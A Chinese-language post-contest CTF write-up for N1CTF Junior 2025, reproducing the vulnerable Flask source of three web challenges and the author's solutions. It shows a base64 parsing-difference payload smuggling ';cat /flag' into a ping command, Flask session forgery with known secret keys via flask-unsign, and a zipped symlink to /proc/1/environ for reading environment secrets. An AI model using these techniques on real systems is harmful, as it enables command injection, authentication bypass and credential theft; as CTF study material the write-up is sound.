N1CTF Junior 2025 赛后复现记录

哎,又一次意识到自己还是太弱了(无力~,整个比赛中只做出来一道online_unzipper, 也看了ping和unfinished两道,感觉都是有点思路,但卡在一个地方上了。比如:ping感觉猜到是base64得解码差异,但没验证出来。unfinished,感觉是有点思路但是不多。。。
总之打一下复现梳理一下思路也算是做一下赛后总结。

ping

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import base64
import subprocess
import re
import ipaddress
import flask

def run_ping(ip_base64):
try:
decoded_ip = base64.b64decode(ip_base64).decode('utf-8')
if not re.match(r'^\d+\.\d+\.\d+\.\d+$', decoded_ip):
return False
if decoded_ip.count('.') != 3:
return False

if not all(0 <= int(part) < 256 for part in decoded_ip.split('.')):
return False
if not ipaddress.ip_address(decoded_ip):
return False
if len(decoded_ip) > 15:
return False
if not re.match(r'^[A-Za-z0-9+/=]+$', ip_base64):
return False
except Exception as e:
return False
command = f"""echo "ping -c 1 $(echo '{ip_base64}' | base64 -d)" | sh"""

try:
process = subprocess.run(
command,
shell=True,
check=True,
capture_output=True,
text=True
)
return process.stdout
except Exception as e:
return False

app = flask.Flask(__name__)

@app.route('/ping', methods=['POST'])
def ping():
data = flask.request.json
ip_base64 = data.get('ip_base64')
if not ip_base64:
return flask.jsonify({'error': 'no ip'}), 400

result = run_ping(ip_base64)
if result:
return flask.jsonify({'success': True, 'output': result}), 200
else:
return flask.jsonify({'success': False}), 400

@app.route('/')
def index():
return flask.render_template('index.html')

app.run(host='0.0.0.0', port=5000)

感觉很明显可以看出命令拼接处在command = f"""echo "ping -c 1 $(echo '{ip_base64}' | base64 -d)" | sh""",但是不知道怎么绕过def run_ping(ip_base64):这个waf,难道不需要绕过吗?

赛后看了别人wp,了解到这里是考察了python的base64解码和bash的base64解码的区别。

可以看到下面这个例子,python解码的时候会直接忽略=之后的内容,而bash的则会按照正常解码流程,全部解码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import base64


text_1 = "127.0.0.11"

text_2 = ";cat /flag"

base64_1 = base64.b64encode(text_1.encode('utf-8')).decode('utf-8')
print(base64_1)
base64_2 = base64.b64encode(text_2.encode('utf-8')).decode('utf-8')
print(base64_2)
ip_base64 = base64_1 + base64_2
print("拼接后:" + ip_base64)
decoded_ip = base64.b64decode(ip_base64).decode('utf-8')
print("再解码:" + decoded_ip)

'''
MTI3LjAuMC4xMQ==
O2NhdCAvZmxhZw==
拼接后:MTI3LjAuMC4xMQ==O2NhdCAvZmxhZw==
再解码:127.0.0.11
'''
1
2
3
yatq@ya7q:/mnt/c/Windows/system32$ echo 'MTI3LjAuMC4xMQ==O2NhdCAvZmxhZw==' | base64 -d
127.0.0.11;cat /flag
yatq@ya7q:/mnt/c/Windows/system32$

直接抓包然后传参过去就行。

Unfinished

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
from flask import Flask, request, render_template, redirect, url_for, flash, render_template_string, make_response
from flask_login import LoginManager, UserMixin, login_user, logout_user, current_user, login_required
import requests
from markupsafe import escape
from playwright.sync_api import sync_playwright
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key-here'

login_manager = LoginManager()
login_manager.init_app(app)
login_manager.login_view = 'login'

class User(UserMixin):
def __init__(self, id, username, password, bio=""):
self.id = id
self.username = username
self.password = password
self.bio = bio
admin_password = os.urandom(12).hex()

USERS_DB = {'admin': User(id=1, username='admin', password=admin_password)}
USER_ID_COUNTER = 1

@login_manager.user_loader
def load_user(user_id):
for user in USERS_DB.values():
if str(user.id) == user_id:
return user
return None

@app.route('/')
def index():
return render_template('index.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
global USER_ID_COUNTER
if request.method == 'POST':
username = request.form['username']
if username in USERS_DB:
flash('Username already exists.')
return redirect(url_for('register'))

USER_ID_COUNTER += 1
new_user = User(
id=USER_ID_COUNTER,
username=username,
password=request.form['password']
)
USERS_DB[username] = new_user
login_user(new_user)
response = make_response(redirect(url_for('index')))
response.set_cookie('ticket', 'your_ticket_value')
return response
return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
user = USERS_DB.get(username)
if user and user.password == password:
login_user(user)
return redirect(url_for('index'))
flash('Invalid credentials.')
return render_template('login.html')

@app.route('/logout')
@login_required
def logout():
logout_user()
return redirect(url_for('index'))

@app.route('/profile', methods=['GET', 'POST'])
@login_required
def profile():
if request.method == 'POST':
current_user.bio = request.form['bio']
print(current_user.bio)
return redirect(url_for('index'))
return render_template('profile.html')

@app.route('/ticket', methods=['GET', 'POST'])
def ticket():
if request.method == 'POST':
ticket = request.form['ticket']
response = make_response(redirect(url_for('index')))
response.set_cookie('ticket', ticket)
return response
return render_template('ticket.html')

@app.route("/view", methods=["GET"])
@login_required
def view_user():
"""
# I found a bug in it.
# Until I fix it, I've banned /api/bio/. Have fun :)
"""
username = request.args.get("username",default=current_user.username)
visit_url(f"http://localhost/api/bio/{username}")
template = f"""
{{% extends "base.html" %}}
{{% block title %}}success{{% endblock %}}
{{% block content %}}
<h1>bot will visit your bio</h1>
<p style="margin-top: 1.5rem;"><a href="{{{{ url_for('index') }}}}">Back to Home</a></p>
{{% endblock %}}
"""
return render_template_string(template)


@app.route("/api/bio/<string:username>", methods=["GET"])
@login_required
def get_user_bio(username):
if not current_user.username == username:
return "Unauthorized", 401
user = USERS_DB.get(username)
if not user:
return "User not found.", 404
return user.bio

def visit_url(url):
try:
flag_value = os.environ.get('FLAG', 'flag{fake}')

with sync_playwright() as p:
browser = p.chromium.launch(headless=True, args=["--no-sandbox"])
context = browser.new_context()

context.add_cookies([{
'name': 'flag',
'value': flag_value,
'domain': 'localhost',
'path': '/',
'httponly': True
}])

page = context.new_page()
page.goto("http://localhost/login", timeout=5000)
page.fill("input[name='username']", "admin")
page.fill("input[name='password']", admin_password)
page.click("input[name='submit']")
page.wait_for_timeout(3000)
page.goto(url, timeout=5000)
page.wait_for_timeout(5000)
browser.close()

except Exception as e:
print(f"Bot error: {str(e)}")


if __name__ == "__main__":
app.run(host='0.0.0.0', port=5000)

备忘记录:

1
2
3
4
5
python flask_session_cookie_manager3.py decode -c ".eJwlzjEOwjAMBdC7ZGZI8u3E7WWQ7diCtaUT4u4g8U7w3uWeR5yPsr-OK27l_lxlL2BXEa8Qo-AwWIu-Kk-VJWibdXemmCtrODjb1qSxBgDySoZNqQ1FVDUsmJstCkQjH507U41VFakkY0Kt50zhFAyCpIzyi1xnHP9NL58v5UYvgQ.aMVFEw.81TmDMSKcaBm9WkEwbGnRHg9T-k" -s "your-secret-key-here"
{'_fresh': True, '_id': '35ca88c038b4e5eb3b1e2d057a8d8319b2cc54e7df0ec35f191815ae3334c04b39a416a3e0ab3d3bcbbd4e3e14c6252540ed0a3fa48673ab2f7f85f836438f86', '_user_id': '2'}

python flask_session_cookie_manager3.py encode -t "{'_fresh': True, '_id': '35ca88c038b4e5eb3b1e2d057a8d8319b2cc54e7df0ec35f191815ae3334c04b39a416a3e0ab3d3bcbbd4e3e14c6252540ed0a3fa48673ab2f7f85f836438f86', '_user_id': '1'}" -s "your-secret-key-here"
.eJwlzjEOwjAMBdC7ZGaI8-3E7WWQ7TiCtaUT4u4g8U7w3uW-jjwfZX8dV97K_TnLXiBhqlGhzinpcMo2qwzTqaDNW4RwjrlqBmTRRkpiCYCjsmMzpm7Iao4JD_fJiSSO3qQJ15zVsIy1D5i3NZbKUnSGLu3lF7nOPP4bKp8v5UMvgA.aMVFrg.JrnkPUswwGTxNNFhx5C8fzbCeJU
1
2
3
4
flask-unsign --decode --cookie "<your_cookie>" --secret "your-secret-key-here"


flask-unsign --sign --cookie "{\"_fresh\": true, \"_id\": \"35ca88c038b4e5eb3b1e2d057a8d8319b2cc54e7df0ec35f191815ae3334c04b39a416a3e0ab3d3bcbbd4e3e14c6252540ed0a3fa48673ab2f7f85f836438f86\", \"_user_id\": \"1\"}" --secret "your-secret-key-here"

online_unzipper

看个源码先:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
import os
import uuid
from flask import Flask, request, redirect, url_for,send_file,render_template, session, send_from_directory, abort, Response

app = Flask(__name__)
app.secret_key = os.environ.get("FLASK_SECRET_KEY", "test_key")
UPLOAD_FOLDER = os.path.join(os.getcwd(), "uploads")
os.makedirs(UPLOAD_FOLDER, exist_ok=True)

users = {}

@app.route("/")
def index():
if "username" not in session:
return redirect(url_for("login"))
return redirect(url_for("upload"))

@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]

if username in users:
return "用户名已存在"

users[username] = {"password": password, "role": "user"}
return redirect(url_for("login"))

return render_template("register.html")

@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]

if username in users and users[username]["password"] == password:
session["username"] = username
session["role"] = users[username]["role"]
return redirect(url_for("upload"))
else:
return "用户名或密码错误"

return render_template("login.html")

@app.route("/logout")
def logout():
session.clear()
return redirect(url_for("login"))

@app.route("/upload", methods=["GET", "POST"])
def upload():
if "username" not in session:
return redirect(url_for("login"))

if request.method == "POST":
file = request.files["file"]
if not file:
return "未选择文件"

role = session["role"]

if role == "admin":
dirname = request.form.get("dirname") or str(uuid.uuid4())
else:
dirname = str(uuid.uuid4())

target_dir = os.path.join(UPLOAD_FOLDER, dirname) # target_dir = UPLOAD_FOLDER/dirname
os.makedirs(target_dir, exist_ok=True)

zip_path = os.path.join(target_dir, "upload.zip")
file.save(zip_path)

try:
os.system(f"unzip -o {zip_path} -d {target_dir}")
except:
return "解压失败,请检查文件格式"

os.remove(zip_path)
return f"解压完成!<br>下载地址: <a href='{url_for('download', folder=dirname)}'>{request.host_url}download/{dirname}</a>"

return render_template("upload.html")

@app.route("/download/<folder>")
def download(folder):
target_dir = os.path.join(UPLOAD_FOLDER, folder)
if not os.path.exists(target_dir):
abort(404)

files = os.listdir(target_dir)
return render_template("download.html", folder=folder, files=files)

@app.route("/download/<folder>/<filename>")
def download_file(folder, filename):
file_path = os.path.join(UPLOAD_FOLDER, folder ,filename)
try:
with open(file_path, 'r') as file:
content = file.read()
return Response(
content,
mimetype="application/octet-stream",
headers={
"Content-Disposition": f"attachment; filename={filename}"
}
)
except FileNotFoundError:
return "File not found", 404
except Exception as e:
return f"Error: {str(e)}", 500


if __name__ == "__main__":
app.run(host="0.0.0.0")

进去想到需要获取admin权限才能可控文件名从而导致命令注入,想到session 伪造,但是key是假的,不会了。。。

20250913204257

后来发现key并不是假的(,于是直接伪造session,成功获取admin权限。再直接文件命名自定义,命令注入反弹shell就可以了!

1
2
C:\Users\y@7q>flask-unsign --sign --cookie "{\"role\":\"admin\",\"username\":\"1\"}" --secret "test_key"
eyJyb2xlIjoiYWRtaW4iLCJ1c2VybmFtZSI6IjEifQ.aMZePw.-Z3bWPHYiSn6el14kBTUV5Edflc

这时候我感觉已经通了,但碰巧的是此时得知靶机坏了,启动不了,于是直到下午我再去打的时候发现,key在靶机里不是真的(,导致我白高兴一场。
这时候就在想,考点肯定是获取key了,看了一下dockerfile,发现是从环境变量里获取的,于是就想着能不能从环境变量里获取key。
那从哪里获取文件呢?这时候就想到是不是能从upload和download两个路由下手下载到想要的文件呢?我想到目录遍历了,然鹅这里路由格式限制的很死@app.route("/download/<folder>/<filename>")只能是这样,加上folder在普通用户权限下是随机的uuid,不可控。只有filename可以。后来经过队里师傅点拨,了解到了软链接可以直接指定读取位置,只要能上传带软链接的压缩包就可以直接读取任意文件了。

1
2
ln -s /proc/1/environ link_1
zip link.zip link_1

读取到key后伪造session成功拿到admin权限,命令注入写在根目录下1.txt再用一次符号链接读取即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
1.txt
1.txt#
app
bin
boot
dev
entrypoint.sh
etc
flag-8qW3Xx1pv9Uipdw32Zm2AvrUMKgsxm6U.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var